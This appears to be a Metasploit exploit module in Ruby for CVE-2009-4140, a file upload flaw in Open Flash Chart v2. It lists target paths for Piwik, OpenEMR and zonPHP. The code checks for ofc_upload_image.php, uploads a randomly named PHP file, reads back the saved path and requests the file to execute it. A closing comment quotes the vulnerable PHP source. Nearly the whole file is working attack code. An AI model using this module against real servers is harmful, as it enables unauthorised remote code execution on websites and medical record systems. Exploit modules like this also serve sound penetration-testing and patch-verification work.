## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Open Flash Chart v2 Arbitrary File Upload", 'Description' => %q{ This module exploits a file upload vulnerability found in Open Flash Chart version 2. Attackers can abuse the 'ofc_upload_image.php' file in order to upload and execute malicious PHP files. }, 'License' => MSF_LICENSE, 'Author' => [ 'Braeden Thomas', # Initial discovery + Piwik PoC 'Gjoko Krstic ', # OpenEMR PoC 'Halim Cruzito', # zonPHP PoC 'Brendan Coles ' # Metasploit ], 'References' => [ ['BID', '37314'], ['CVE', '2009-4140'], ['OSVDB', '59051'], ['EDB', '10532'] ], 'Payload' => { 'Space' => 8190, # Just a big value, injection on HTTP POST 'DisableNops' => true, 'BadChars' => "\x00" }, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [ # Tested on: # * open-flash-chart v2-Lug-Wyrm-Charmer # set TARGETURI /php-ofc-library/ # * open-flash-chart v2-beta-1 # set TARGETURI /php-ofc-library/ # * zonPHP v2.25 # set TARGETURI /zonPHPv225/ofc/ # * Piwik v0.4.3 # set TARGETURI /piwik/libs/open-flash-chart/php-ofc-library/ # * OpenEMR v4.1.1 # set TARGETURI /openemr-4.1.1/library/openflashchart/php-ofc-library/ [ 'Generic (PHP Payload)', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Dec 14 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Open Flash Chart', '/php-ofc-library/']) ], self.class) end # # Check for ofc_upload_image.php # def check print_status("#{peer} - Sending check") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "ofc_upload_image.php"), }) if not res print_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown elsif res.code.to_i == 404 print_error("#{peer} - No ofc_upload_image.php found") elsif res and res.code == 200 and res.body =~ /Saving your image to/ vprint_status("#{peer} - Found ofc_upload_image.php") return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit # Upload @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" print_status("#{peer} - Uploading '#{@fname}' (#{payload.encoded.length} bytes)...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ofc_upload_image.php'), 'ctype' => "", 'vars_get' => { 'name' => "#{@fname}" }, 'data' => "" }) if not res fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i == 404 fail_with(Failure::NotFound, "#{peer} - No ofc_upload_image.php found") elsif res.body =~ /can't write file/ fail_with(Failure::Unknown, "#{peer} - Unable to write '#{@fname}'") elsif res.body =~ /Saving your image to: (.+)#{@fname}/ path = $1 register_files_for_cleanup(@fname) print_status("#{peer} - Executing '#{path}#{@fname}'") else fail_with(Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") end # Execute res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, path, @fname) }) if res and res.code == 404 fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}") end end end # # Source # =begin ofc_upload_image.php 20-// default path for the image to be stored // 21-$default_path = '../tmp-upload-images/'; 23-if (!file_exists($default_path)) mkdir($default_path, 0777, true); 25-// full path to the saved image including filename // 26-$destination = $default_path . basename( $_GET[ 'name' ] ); 28-echo 'Saving your image to: '. $destination; 39-$jfh = fopen($destination, 'w') or die("can't open file"); 40-fwrite($jfh, $HTTP_RAW_POST_DATA); 41-fclose($jfh); =end